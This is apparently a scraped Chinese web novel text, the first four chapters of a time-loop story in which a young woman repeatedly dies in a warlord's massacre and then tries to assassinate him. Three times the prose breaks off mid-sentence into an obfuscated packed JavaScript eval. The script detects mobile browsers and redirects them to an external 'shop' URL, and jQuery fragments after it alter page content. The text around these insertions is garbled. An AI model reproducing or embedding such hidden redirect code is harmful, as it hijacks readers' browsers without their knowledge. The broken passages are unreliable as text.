《和杀我的魔头陷入无限循环》
1. 第一次刺杀
“快快快!将那八盏琉璃寿字灯都挂起来——哎!左边那盏歪了,往右些!”
“麻姑献寿的紫檀插屏可安置好了?那可是大少爷特特从苏杭为老夫人订制的珍品!都仔细着些!”
天才蒙蒙亮,林府已是人声鼎沸。四五个健壮小厮正踩着高梯,小心翼翼地将一方巨大的烫金“寿”字匾额往上悬挂。院内,丫鬟们脸上挂笑,手捧盛满鲜果、香茶的钧窑瓷盘,脚步轻捷地在厅堂与厨房之间穿梭往来,裙裾生风。
今日正是林家老祖宗七十八寿辰,儿孙齐聚,连远嫁的外孙女也都回来了,唯独因林家子嗣繁茂,曾孙辈并未全数到来,只老三媳妇怀中抱着个刚满周岁的奶娃娃。
主位之上,穿着一身绛色寿纹锦袍,白发梳得一丝不苟,目光清亮,精神矍铄,直笑得合不拢嘴。
一家人叙话闲谈,自然绕不开家长里短。老三媳妇将孩儿交给奶娘,望向坐在角落从夫家过来的五姑娘,语气关切:
“五妹妹,怎的至今还未有喜讯?你们小两口可得抓紧些。”
周夫人面色微窘,执起一方绣帕轻掩唇角,低声道:“三嫂费心,我们会尽力的。”
“这可不是光说尽力就成的事,要我说啊,还是得去寻些灵验的民间方子。我听闻......”
她话音未落,身旁的周家三少爷已温然握住妻子微凉的手。抬起头来微笑着截断了话头:
“谢嫂嫂关爱,只是我们年岁尚轻,子嗣一事讲究缘分,顺其自然便好。”
三夫人还欲说什么,门外传来管家通传:“表姑娘到了。”
上头老太太顿时笑逐颜开,朝门外招手:“宛丫头来了?快进来,到祖母这儿来。”
一个约莫十六七岁的少女应声而入。她身着一袭略显陈旧的湖水绿襦裙,乌黑柔顺的青丝简单绾成双髻,只簪了一支素银簪子,显得一张脸愈发清纯可爱。
她径直走向主位,向老太太行礼:“给祖母请安。”
老太太一眼便瞧出她眼圈泛红,拉着她的手问:“眼睛怎么红红的?”
少女腼腆一笑,从袖中取出一块手掌大小的木牌,上头细细刻着“康宁永寿”四字,边缘已被摩挲得温润生光。
她轻声说:“孙女儿这些日子都在寺中为您祈福刻牌,请大师开了光。愿外婆身体安康,福寿绵长。”
老太太连连称好,欢喜地拍着她的手背,满脸慈爱。
下首几位亲眷低头啜茶,眼神中却掠过几丝不易察觉的轻蔑,显然对这略显寒酸的寿礼不以为然。
少女又细声说了几句祝词,随即道:“祖母,近日孙女儿还在抄写《金刚经》,尚有少许未完成。想先行告退,回去尽快抄妥,才好献给您作寿礼。”
老太太慈祥道:“不急在这一时,今日难得热闹,再多坐坐。”
她却坚持:“本就是为您准备的,迟了已是不该,不能再拖。”说罢敛衽一礼,姿态柔顺却透着一股难言的决绝。
行至门口时,一方丝帕自轻飘飘地从空中落下,眼看就要落到少女脚下,少女微微弯腰,低头一拾,指尖夹着手帕就捡了起来。
她扭头冲着边上女子一笑:“五姐姐,您的帕子。”
周三夫人愣怔怔地接过帕子,似乎还在惊讶她动作之流畅利索。
将帕子还人,少女疾步走出,脸上那抹腼腆温顺无声间消散,从廊柱后取出一个早已备好的青布包袱,脚步不停,直冲向侧门。一匹骏马正拴在那里,她利落地翻身上马,一抖缰绳,身影如箭般驰出林府大门,绝尘而去。
少女——夏晴宛,她有一个秘密,这不是她第一次经历今日场景,甚至不是第二第三次......
一切的源头,要从当朝天子说起。
当朝皇帝昏庸无道,宠信奸佞,致使朝纲败坏,民不聊生。天下烽烟四起,豪强割据自立。其中尤以南境萧夺势力最为庞大,人称南王。
据闻萧夺出身微贱,年少时曾在京中为奴,受尽屈辱折磨。而他率军攻入京城后,所做的第一件事,便是屠戮了所有昔年折辱过他的人,以及对方的家人。
她因家道中落,寄居在林府当中,不幸成为了这场血腥清算的冤魂之一。
以为这条命就这么算了,结果一睁眼,她就回到了破城的七日前。第一次重生时,她几乎被巨大的惊喜和希望淹没。她激动万分,用尽浑身解数,苦苦劝说林家人提前三日逃离京城。
——在官道上被疾驰而来的南王先锋骑兵拦截,乱刀之下,无一生还。
第二次,她汲取教训,将逃离的时间提前至五日,甚至没走官道——同样被南王军队拦截,一命呜呼。
第三次,她改变策略。
她不再试图保全所有人,而是偷偷只带着家中不满十岁的弟妹藏了起来,被搜寻的士兵发现,死得干净利落。
第四次,第五次……
她试过不同的路线,换过不同的藏身之所,尝试过向不同的势力求助,甚至还使出了色诱!
结果无一例外——死亡。
原来人死着死着就会习惯死亡,无惧死亡的她决定从根本解决问题:
刺杀萧夺。
解决不了问题,她还解决不了造成问题的人么?
我有无数条命陪你玩,你有么?
夏晴宛大胆往前冲!
林府,连同其他遭屠戮的三大家族,之所以在灭顶之灾降临前仍毫无防备,甚至能沉浸于寿宴的和乐之中,根源在于致命的信息差。
当时,京城内外都在传,南王萧夺的主力大军正被攻打潼关。打下潼关再攻入京城至少需要数月时间,哪怕再快,也要月余。
然而,这竟是萧夺的障眼法,他早已亲率一支精锐轻骑,悄无声息地绕道潜行,驻扎在离京城仅两日脚程的一处隐秘镇集。趁京城守备松懈,他率部连夜急行,直攻入城,然后大肆屠杀四大家族。
如今,夏晴宛所要前往的,正是萧夺隐匿身份暂住的小镇。
两日后,夏晴宛抵达小镇。
萧夺下榻于镇上最大的客栈,整间客栈早已被他包下。客栈表面看来与如常无异,实则内外暗布岗哨,防守严密,寻常人根本进出不得。
但夏晴宛知道客栈小二每日清晨都会借口采买,绕道去私会相好。她耐心蛰伏,待其行至僻静处,熟练地将其击晕,迅速扒下他的衣物,顺便未防他醒的太早坏事,用绳子绑住他。
然后假扮成送菜农夫,混入客栈后院,放下菜蔬后便佯装腹痛,急匆匆钻入茅厕。闩上门,从门板下方匍匐而出,藏进旁边半人高的荒草丛中。
换上了小二的衣服,拿出精湛的化妆技术。低头刻意避开所有可能的视线,随即自
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16596177|187466||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
然地走向厨房方向,另一个小二端着一盘早点走出。
夏晴宛顺势接过早点,用伪装的少年音道:“这是要送去甲字房客人的早点吧?我去吧。”
“不是,你谁……”
夏晴宛理都不理他,自然地接过托盘,转身便走。
她端着早点走上楼梯,走廊上空无一人,寂静得可怕,但夏晴宛知道,两侧的房间里埋伏着精锐侍卫,任何异动都会引来他们——别问她怎么知道的!
她停在甲字房门前,敲了敲门,脆生生地喊道:“客人,您要的早点来了!”
屋内,一个男人正背对着门口,他的背影带着多年行伍磨砺出来的冷肃,低头专注地擦拭着一柄寒光四溢的长剑。萧夺有个雷打不动的习惯:就是早上保养他的剑。
毕竟剑若不利,何以杀人?
夏晴宛盯着他那毫无防备的背影,眼中狠厉之色一闪而过。来时路上处处是眼线,她不敢有丝毫动作,但此刻,房门已关,屋内仅有他们二人。萧夺武功再高强,也并非神人,背后终究没长眼睛——
机不可失!
她悄无声息地从袖中滑出一小包药粉,指尖飞快一抖,将无色无味的粉末尽数倾入身旁的茶杯中,随即轻轻晃了晃。
用毒——这才是最隐蔽、最有效的刺杀方式!
多余的动作只会引起他人注意,夏晴宛强压下急促的心跳,没有劝说他快喝,放下早点便欲转身离开。
“你以为——”一道冰冷的声音蓦地响起,打破了寂静。
背对着她的男人依旧慢条斯理地擦拭着剑刃,动作未曾有丝毫停顿,仿佛只是随口一言:
“我会察觉不到你的小动作么?”
夏晴宛脸色骤变,心知已败露,不再心存侥幸。她猛地抽出袖中匕首,便欲拼死一搏!
然而,她的身形刚动,甚至未能迈出一步,一股巨力便从身后袭来,瞬间将她制服在地,匕首“哐当”一声掉落一旁,不知道什么时候冲进来的侍卫已经擒住了她。
萧夺缓缓转过身,那双深邃的眼眸冰冷如霜,仿佛在审视一个死物:“说,是谁派你来的?”
经历了无数次惨烈的死亡,有的人看似情绪稳定,实则已经疯了有一阵子了。
夏晴宛闻言竟纵声大笑,笑声充满了癫狂,充满了嘲讽,充满了对世界的蔑视!
“谁派我来的?老天爷派我来的,你罪恶多端老天爷派我来收你了!”
“哈哈哈哈!有本事你就杀了我!你杀啊!你敢么?你屁都不敢放!算什么南王!你就是个——”
一道冰冷的刀光闪过,夏晴宛只感到喉间一冷。
她踉跄着后退,鲜血自指缝间汹涌而出,熟悉的死亡气息冰冷地笼罩着她。
夏晴宛拼尽最后一丝气力,死死盯着萧夺,用染血的口型无声地咒骂:我、日、你、祖、宗!
说罢,直接松开手。
温热的鲜血喷溅在萧夺的脸颊和那张冰冷的半面面具上。他面无表情,缓缓抬手,用指腹抹去了溅在玄铁面具上的黏稠血珠,眼神幽深,看不出丝毫波澜。
待地上那染血的身影彻底没了声息,一名属下才上前一步,抱拳恭声问道:“将军,此人该如何处置?”
萧夺目光从那具逐渐冰冷的躯体上移开,漠然道:“拉出去,扔到山上喂狼。”
2. 刷新新的存档点
夏晴宛晃晃悠悠地睁开眼睛。
哇,好刺目的光芒,又是美好的一天呢(*^▽^*)
她刚从地上爬起来,就发现——哎,不对,这不是我的床!
之前每一次重生,夏晴宛都是从自己的床上醒来,然后开始重生日常,但是这一回,她的出生地在地上,这个地吧......
夏晴宛左左右右地观察四周,发现——哎,这不是我埋伏客栈小二的地方呢?
我怎么会在这?
谁改我存档了???
夏晴宛满心地恍惚,她联系自己上一回发生的事,以及前世玩游戏的经验,悟了:
我这是找对窍门了!
就是,一般游戏的存档点就是顺利打通某个关卡之后,也就是说自己上一回刺杀萧夺的决定是正确的,所以自己刷新了新的存档点。
有理有据!
夏晴宛拍拍身上的衣服,露出了自“死”后的第一个真心的笑容。
她继续上回的行动,耐心地等待小二的到来。
打晕小二,剥掉外套,捏一把小肚子——哎,小子,年纪轻轻就有小肚子,你真替芳儿的未来担忧啊。
熟练地混入送菜队伍,匍匐前进——
一连串熟练地操作后,夏晴宛再次站在了客房门口。
你问这不跟上一次一样,为什么要重复一遍失败经历?
不,不一样。
夏晴宛抚着手上一把精致的小弓,上一回她选择了用毒药,想要悄无声息地毒死萧夺,但没有成功,显而易见,自己混入客栈的途中被人察觉了,既然如此,不如搏一搏速度。
她的箭上可是涂满了剧毒,只要轻轻地,轻轻地,刺中萧夺的身体某个部位!
“客人,您要的早点来了!”
夏晴宛推门而入,萧夺正背对着门口擦拭着他的剑,听到动静,他的动作顿了顿。
等等,这会反应怎么跟上回不太一样?
算了算了,细节差别而已,之前打晕小二时他吐出的“哎”都变成“哟”了呢。夏晴宛不动声色地放下差点,从袖中轻轻地掏出弓箭,对准萧夺。
只要射中,随便射中哪个部位......
男人忽然猛地转过身,待看清夏晴宛的脸后,他脸上露出了显而易见的震惊表情。
夏晴宛手中小弓出箭,箭矢离弦,笔直而迅疾地射向男人面门。就在箭尖破空的刹那,她清晰地捕捉到了萧夺脸上那一闪而过的震惊神色。
他为什么要惊讶?
他是在看到我的脸之后惊讶的。
难道他——
她脑中闪过一个极其大胆的念头。
萧夺侧身避过箭锋,与此同时,房间门被人从外面狠狠踹开,一道黑影闯入,瞬间便将夏晴宛的双臂反剪,将她死死擒拿。
萧夺没有问出“谁派你来的”,而是沉声走到她面前,手指扣住她下颚,将她脸抬了起来。
据说专业的杀手可以口含利箭射出,可惜,她不会。
夏晴宛死死地盯着萧夺,没有错过他在看清自己的脸后,眼中一闪而过的震惊。
果然,他果然记得自己这张脸。
夏晴宛的脸是经过化妆的,她竭力将自己的脸往小二靠拢,但化妆不是整容,她只能做到肤色黑痣之类的想象,但化妆完后的脸既不像小二,也不像原来的自己。
这是一张独一无二的脸。
萧夺能认得这张脸,只能说明——
“你是不是也重生了?”
......
......
在夏晴宛说完这句话后,萧夺眼中再次闪过惊色。
这一次,夏晴宛完全确定了。
哇哦,事情变得有趣起来了~
萧夺收回手,冷漠道:“把她的双手双脚打断。”
“别啊!!!!”夏晴宛尖叫起来。
杀死她可以,打断她手脚不可以!
“我什么多会说的,别伤害我,你想知道什么,我什么都会说的。”
萧夺朝她身后的人使了个眼色,那人松开了夏晴宛的双手,但手掌扔牢牢放在她肩上,夏晴宛毫不怀疑,只要自己稍有动作,对方就会捏碎自己肩膀。
萧夺居高临下地审视着她,目光冷冽如刀:“是谁派你来的?”
来了来了。
夏晴宛吸了口气,努力让自己语气平稳:“没有人派我来,我是自己想杀你的。”
“你如何知道我在这里?”
“这是我经过无数次的搜寻才查到的。”夏晴宛刻意加重“无数次”这三个字。
萧斗闻言,眸色果然一深,他并未立刻发作,只是低着头,冰冷的视线如同实质般锁住她每一寸表情,似乎在细细考量她话语中匪夷所思的深意。
少顷,他终于有了反应,却是对擒制着夏晴宛的侍卫:
“出去。”
那侍卫明显一怔,手下力道却未松:“将军,此女危险……”
“出去。”
“......是!”
属下这才松开手,迟疑地看了夏晴宛一眼,终是躬身退出了房间,并轻轻带上了门。
萧夺凝视着揉着手腕,唇角含着一抹意味深长笑意的女子,冷声道:“你现在有机会说出实话,否则你将会生不如死。”
夏晴宛抚摸着袖中还有一把的匕首,心道:没事的,宝宝。万一有个啥咱们就抹脖子,很快的。
她抬起眼,迎上萧夺冰冷的视线,语气平静却掷地有声:
“我想你应该也察觉到了吧,你眼前发生的一切已经经历过一回了。”
萧夺没有出声,静待她的下文。
“这也许是你第一回经历此事,但对于我来说,我已经经历了同样的事情无数遍。”
“这就是你能查到我在这的原因?”萧夺没有把她的话当做疯言疯语,反而迅速从中提炼出逻辑,做出了冷静的推测。
“是的。”夏晴宛语气带着一丝赞赏。
萧夺似乎不喜欢被人以居高临下的态度对待,眼中冷意更甚。
“我之所以想杀你——”夏晴宛迎着他冰冷的目光,继续说了下去:“是因为你之后将要做的事情。”
她紧盯着萧夺的脸,不错过他脸上任何一丝细微的表情变化,抛出筹码:“若我能准确说出你接下来几日的行动,是否便能证明我说的都是实话?”
萧夺未置可否,俨然一副静待下文的模样。
夏晴宛提起一口气,一鼓作气地道:
“你打算在两日后的夜晚启程疾奔京城,趁着京城防守松懈攻入城内,然后屠杀周林郑王四大家族的人!”
此言一出,萧夺眼中最后一丝玩味骤然消散,他猛地起身,五指如铁钳般掐住夏晴宛的脖子,眼中
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16596178|187466||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
杀气化为实质,绞得夏晴宛呼吸一窒,脑中霎时一片空白。
“你还知道什么?!”
“我还知道,知道......”夏晴宛难以呼吸,她用力拍打着萧夺扣住她脖子的手,萧夺显然也看出她是个弱鸡,手指微松,夏晴宛趁机一把推开他。
反手拿匕首闪烁着寒光的刀刃对准自己的脖子,怒声吼出:
“你是个疯子!”
“哐当”一声,房门被人用力推开,方才侍卫大步迈入。
“将军,你没事......”
他看着地上用匕首抵住自己脖子的夏晴宛,茫然地炸了眨眼睛。
萧夺脸色肃立,似乎丝毫没有被她方才挑衅的话激怒,摆手:“出去。”
“是。”这回侍卫没有疑问,直接出去了。
夏晴宛艰难地从地上爬起来,手上匕首没有放下:“我要你立誓,你不会伤害我,不会捆住我,不会对我做出一切我不喜欢的事!”
萧夺看着她的匕首,语气玩味:“你的‘重生’条件是死亡?”
夏晴宛没想骗过他这点,道:“是。”
“行。”萧夺果断地说:“我答应你。”
虽然不知道他会不会遵守诺言,但承诺总比没有好。
夏晴宛坐在房间远离他的角落,继续道:
“我是四大家族中林家的远房表亲,从小寄居在林家,你屠杀当日被你一同杀了,没想到重新睁开眼,又回到了被你杀掉的七日之前,此后我想尽办法逃离你的魔爪,却一次次为你和你的下属所杀。”
“我没有办法,只能立志杀了你,才查到你在这里,并且来刺杀你。”
萧夺的表情在她陈述这一切时没有变化,似乎对他自己的所作所为没有丝毫异议,也是,本来就是他打算做的。
不过——
他突然出声问:“你告诉了我这一切,不害怕我因此找到制裁你的方法么?”
夏晴宛大笑起来:“我已试了无数次,只要我一死,不管是被杀还是自杀,就会重来。我根本不怕你知道,人想活不容易,想死总是有办法的。”
“而且,我之所以告诉你这件事,当然有我自己的目的——我希望你能放弃屠杀四大家族的人。”
“不可能!”萧夺毫不犹豫地说:
“四大家族的人,我必杀之!”他嗓音犹如淬火的冷铁,眼底翻涌着冰冷嗜血的戾气。
“那我没办法了。”夏晴宛把手一摊,道:
“那我们就一遍遍重来得了,你我皆被困在这循环往复的日子里面。”
萧夺眼中戾气稍收。
夏晴宛趁势放柔声音,诱惑道:“我就算了,小人物一个,你也是马上就要当皇帝的人哦,你付出一切,历经无数战场厮杀,隐忍至今,不就是为了有朝一日能登上那个位置,执掌这万里江山么?”
萧夺果然被她的话语牵动,眼底的杀意渐渐被一丝权衡与迟疑所取代。
夏晴宛心脏狂跳:加油加油,快说服你自己!
少许,萧夺终于再次开口。
他一字一句地道:
“不,可,能。”
“四大家族的人,我必杀之!”
“行。”
夏晴宛将匕首持在颈上的手用力一抹,温热鲜血喷涌而出。
视野堕入黑暗前的最后一眼,是萧夺难掩震惊的神色。
3. 排除法解题方式
熟悉的天,熟悉的地,熟悉的墙。
还是那个打算暗算小二的角落。
这一回,夏晴宛没有打晕小二,以她自己的穿着容貌堂堂正正地走上了街。
她很快到了客栈门口,门口有人把守,她上前,嗓音清脆:
“能通报你家主子一声么?说有个女孩找他。”
那侍卫神色犹豫了瞬息,但还是很快进屋,夏晴宛等了片刻,那人下来,道:“姑娘请。”
夏晴宛大大方方走进客栈,她来之前想过萧夺这回没有重生的可能,但也没关系,抹一刀脖子的事。
能用抹脖子解决的,都不是大事。
那侍卫将夏晴宛带到甲字客房,夏晴宛非常大胆地亲自敲门,脆生生地道:“萧夺,我来了。”
那侍卫眼皮子抽了抽。
隐约听到脚步声,房门被打开,萧夺那半张英俊半张看不到的脸出现在面前,夏晴宛粲然一笑:
“早上好啊。”
萧夺面色冷峻,朝身旁的侍卫略一颔首。侍卫会意,立刻无声地退了出去。
夏晴宛走进房间,一眼瞧见架在紫檀木剑架上的长剑。以往她只能窥见半截收于鞘中的寒芒,今日终于得见其全貌。
古朴玄色剑鞘,好似是鲨皮所制,色泽沉黯,却隐隐流动着冷硬的光泽,鞘身雕琢着夔龙纹样,龙首交汇于鞘口,衔着一枚墨玉为睛,极其的低调奢华有档次,不愧是南王萧夺的剑。
萧夺冷冷声音传来:“你弄错重点了吧?”
“奥,不好意思,死的多了,确实会注意力涣散。”
夏晴宛在桌旁坐下,与上回相比,态度更加游刃有余:“怎么样,你改变主意了么?”
“好,我不杀四大家族的人。”
夏晴宛坐直了身子,她原已做好与萧夺经历无数次来回拉锯、艰难博弈的心理准备,却万万没有料到,他竟会如此干脆利落地答应。
这其中是否有诈?
“你,答应了?”
“嗯。”萧夺轻轻点了点头,神色怡然。
夏晴宛愈发狐疑:“就这么简单?”
“这不正是你想要的?”萧夺语气平淡:“时辰不早,该动身了。”
“去哪?”
“京城。”
夏晴宛猛地站起身:“你不是答应不杀四大家族的人了吗?”
“是啊。”萧夺坦然回望,神色竟忽然柔和下来,唯眼底掠过一丝令人心悸的幽光:“我确实不杀四大家族的人。”
他唇角勾起一抹诡异的弧度,声音轻缓却叫人不寒而栗:“不杀,有不杀的方法。”
夏晴宛顿觉毛骨悚然,惊声道:“你若敢伤害他们,我就——”
话音未落,她后颈骤然一痛,眼前猛地陷入漆黑,整个人软软地倒了下去。
萧夺顺手接过她倒下的身体,对门外的人道:“背马,即刻入京!”
......
......
夏晴宛再度恢复意识时,人在马背上。马蹄急促,她整个人伏于鞍前,腰肢被一条铁臂紧紧箍住,随着马匹的每一次腾跃而剧烈摇晃,胃里顿时翻江倒海,难受得几欲作呕。
“醒了。”淡淡的男声传来。
夏晴宛猛地坐起身,怒而转头:“你不守信用。”
“发誓是上一回的事,这一回我可没发过誓。”
“......”
她咬牙道:“我会自杀!”
“随便你,等到了地方看你自不自杀。”
萧夺语气平淡,反而惹得夏晴宛心生狐疑,她摸了摸袖中的武器,弓箭和匕首都在,他到底想干什么?
其实,夏晴宛还有一件事没告诉他,自己在一次次的重生中,尝试过只保全自己没死在大屠杀中。她想着大不了之后再自杀,这只是一次测试,没想到屠杀过后,她眼前一阵眩晕,直接就重生到了七日前。
她的测试成功了!
原来不需要自杀,只要屠杀存在,她就会回到七日前!
屠杀和她的自杀是两条支线,两种重生的条件。
而且,她心底隐约有种直觉:或许并非一定要发生屠杀,只要四大家族遭遇足以颠覆命运的惨重变故,重生就会被触发!
解决重生的关键,是让四大家族安全渡过危机,而不是不被杀害。
她隐瞒这件事不说,就是为了降低萧夺对她的警惕心,让他觉得只要绑住自己不让自己自杀就不会发生重生,这样一来,她就能少吃点苦。
夏晴宛闭上嘴不说话,事到如今,她也不清楚事情会往什么方向走,又或者,她也期待有人能打破这永无止境的循环的僵局。
——
萧夺带的这一队人马都是精英,日夜疾驰都不会累,也就苦了夏晴宛,把这辈子的酸水都吐出来了。夏晴宛在旁吐得天昏地暗,萧夺则在路边嫌弃地看着她。
因夏晴宛拖累,一行人终究还是在第二日傍晚时分才抵达京城。
此刻的京城城门守备异常松懈,萧夺麾下数百轻骑如鬼魅般突袭,几乎未遇像样的抵抗便轻易攻入城内。城中百姓惊惶万分,纷纷紧闭门户,昔日繁华的街道转瞬之间空无一人,唯有马蹄声在暮色中回荡,衬得整座城池一片死寂。
萧夺率众径直驰向郑府,数百支火把骤然燃起,跳动的火焰撕裂昏暗的夜色,将郑家朱漆大门前照得如同白昼。铁骑无声列阵,将府邸围得水泄不通,森然杀气弥漫开来。
萧夺看向夏晴宛,从他神色语气中,能看出他此刻竟有几分愉悦:
“你说你是林家的人,林家的人被杀,你自然要想尽办法救他们,可如果,我放过林家呢?”
他脸上愉悦神色越来越浓,甚至连说话都染上了笑意:
“郑周王三家与你无关,你还愿意为了他们自杀么?为了他们一次又一次轮回,惶惶不可终日?”
夏晴宛顿时哑然。
确实,林家有恩于她,可其他三家虽然与林家亦有瓜葛,可差得远了,自己是否有必要为了他们一遍遍承受死亡的痛楚,一遍遍奔波于这无尽的轮回之中,仿佛永堕无间,看不到尽头?
萧夺看着她犹豫挣扎神色,眼底愉悦和嘲讽更甚,他挥了挥手,身后严阵以待的士兵得令,立刻如狼似虎地扑上前,沉重的撞木一下又一下地猛击在郑家那扇象征着荣耀与地位的朱漆大门上。
巨大的撞击声在死寂的夜空中疯狂回荡,门内隐约传来惊叫与哭喊。
大门在训练有素的士兵猛烈撞击下,很快便发出不堪重负的呻吟,轰然洞开。
门内试图抵门的家丁瞬间被涌入的铁骑洪流吞没,刀光闪过,鲜血顷刻溅洒在地上。士兵们如潮水般涌入庭院,脚步声、甲胄碰撞声、惊恐的尖叫与绝望的哀嚎瞬间撕裂了寂静的夜。
火把摇曳的光芒下,飞溅的血色融入月光之中,眼前场面恍若地狱。
夏晴宛拧着眉看着眼前一幕。
如若她是第一次或者第二次经历屠杀,她自然会恐惧地难以自持,但由于经历得多了,甚至还有更加惊心动魄的事,她现在对屠杀的血腥场景的接受能力变强了许多。
只不过内心煎熬,反反复复灼烧着她。
值得,不值得,从来都是一个需要郑重对待的问题。
夜,静悄悄地过去。
惨叫声,不知何时已然微弱,消失,满地的血肉,刺激着人的眼球和嗅觉。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16596179|187466||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
萧夺信步穿行于血色弥漫的庭院之中,他似乎很习惯,亦很享受这种场景,飞溅的鲜血沾染在他侧脸与下颌,他却毫不在意,任那暗红液体缓缓滑落。
月光之下,他脸上的银色面具反射着皎洁柔和的光,一双冰冷的眼睛带着几分愉悦转向她。
“看来,你已经做出抉择了。”
夏晴宛迟缓凝滞地开口:“你确定其他两家的人都死了?”
正巧这时,一名胸前铠甲被血色浸染的士兵疾步入院,行至萧夺身前单膝跪地,抱拳沉声道:
“报将军!周、王两家府邸已清理完毕,无一生还!”
萧夺含笑道:
“看来是的。”
夏晴宛缓慢地点头。
“那正好。”
萧夺目光微凝。
夏晴宛仰起头,深深吸入一口弥漫着浓重血腥与焦灼气息的空气,又重重吐出,仿佛要将这污浊尽数驱散。
“其实我很早就想试试看,四大家族必须是四大家族么?其实三大家族还是五大家族都没有关系吧。”
“老天爷真正想要阻拦的,从来不是你屠戮了四大家族,而是‘恶’本身吧。”
“来,让我们试试看!”
话音落下的瞬间,一声凄厉悠长的夜枭啼鸣骤然划破血色弥漫的夜空。
夏晴宛甚至来不及捕捉萧夺脸上任何一丝细微的变化,便觉眼前猛地一黑,所有光线、声音、气味瞬间被抽离殆尽。
那熟悉的、令人窒息的眩晕感再次铺天盖地般袭来。
她,又将轮回。
——
夏晴宛仰头看着熟悉的客栈招牌,冲着守在门口的侍卫微笑:“麻烦你通传一声你们主子,就说我来了。”
那侍卫看着眼前这个笑容自若、仿佛与将军熟稔非常的陌生女子,脑中冒出一个大大的问号,但他不敢多问,很快入内通传。
不过时,他回来:“姑娘请!”
夏晴宛跟着他上了楼,敲门,门内传来一道低沉的声音:“进来。”
夏晴宛腹诽:这回怎么连门都不给开了。
她推开门,萧夺正站在那座紫檀剑架之旁,他脸色阴郁,漆黑的眼底笼罩着化不开的冰冷杀意,沉沉地投向夏晴宛:
“你骗我。”
“你死不死,从来不是重生的关键。”
夏晴宛当然不能说真话触怒他,因此她一脸真诚地说:
“我也是想做测试,毕竟之前我都是被你杀了的,但是我心底隐约有一种感觉——”
她语重心长,苦口婆心,恨不得让他瞬间悟道般地说:
“老天爷让我重生轮回是为了阻止你作恶,死亡并不是重生的条件,你的恶念才是,当然了,伤害他人身体和杀了他们一样都是作恶......你干什么?!”
萧夺将夏晴宛抗在肩上,大步流星走出房间。
“去京城!”
——
“呕——放我下来,我,呕——”
经过两天一晚的奔波,第二天晚上,萧夺的精锐骑兵再次出现在城门口,很快破城攻入,包围了郑家。
夏晴宛:不是,又来???
她崩溃:“这跟上回不一样么?”
“不一样。”萧夺语气冷淡地说,透着一股淡淡的不满。
“这一回,我只屠杀郑家。”
“啊?”
夏晴宛愣住了,忽然,她脑中闪过一个念头:这家伙该不会是想一家一家杀过来吧?
上回杀三家他觉得是可能错杀了一家,所以这回一家一家轮换着杀,杀到“重生”不起效果为止?
不是,谁家好人用排除法杀人啊!!!
4. 完成排除法
萧夺的士兵杀人非常老道专业,一看就是杀人好手,不一会儿就将郑家上上下下杀了个精光。
漫延的血污与死亡气息中,夏晴宛面色苍白,太阳穴突突直跳,传来阵阵隐痛。
她是习惯杀戮场景了,但这不代表她毫无感觉,她只是强压下喉头翻涌的呕意不让自己失态而已。
夜已渐深,一轮莹白的明月高悬于墨色天幕,清辉如水银般静静流泻,落下院中满地狼藉与血污之上,反射出红色的异光。四野无声,唯有风过檐角传来细微呜咽。
萧夺转向身旁面色苍白的夏晴宛,语气近乎淡漠:
“接下来该如何?等么?”
夏晴宛极力扯动嘴角,挤出一个勉强可称之为笑容的表情,声音轻飘飘的:
“嗯,等。”
“好。”
萧夺未再追问,竟真的显出几分耐心。他自袖中取出一方素绢,垂眸细致地拭去剑身上尚未凝固的鲜血。
时间在令人窒息的寂静中缓缓流淌,看着落在脚下的月光,夏晴宛忽有所感:上一回,似乎也差不多是这个时间。
蓦地,一声凄厉至极的夜枭啼鸣毫无预兆地撕裂温柔的夜幕,夏晴宛猛地抬头,下一瞬,她眼前骤然一黑,所有感知瞬间抽离。
她,即将再次重生。
——
侍卫从身旁离开,看着屋内的男人,夏晴宛无语地说:
“你真打算一家一家杀过来?”
萧夺脸上是近乎漠然的平静,他道:
“是啊。”
“......行吧。”就像自己不死心非要一次次提前日子逃跑一样,人都是有侥幸心理的,可以理解。大不了多陪他重生几次,小事情。
“那我们走吧——”
“不行!”就在萧夺又一次想要带她离开前,夏晴宛伸出手用力地扳住桌面,大声地道:
“在此之前,我要先吃早饭!”
“......吃早饭?”
“是啊。”夏晴宛义正词严地说:“我为了来找你,都还没来得及吃早饭,人是铁饭是钢,一顿不吃饿得慌。你怎么着也都让我先吃饭吧?”
萧夺眼角抽了抽,冷声道:“你本来就要吐,还吃饭,嫌吐得不够多么?”
“这你可就说错了,我之所以会吐就是因为太饿了。人饥饿的时候肠胃会因为空腹剧烈收缩,再一颠簸,胃酸反流至食道,产生烧心感,故才容易头晕眼花呕吐。所以,要不呕吐就要先吃饱。”夏晴宛振振有词地说。
萧夺眯了眯眼,但也没有反驳她的“吃饭论”,只是忽然朗声道:“来人!”
一个侍卫很快进来。
“叫小二过来。”
“是!”
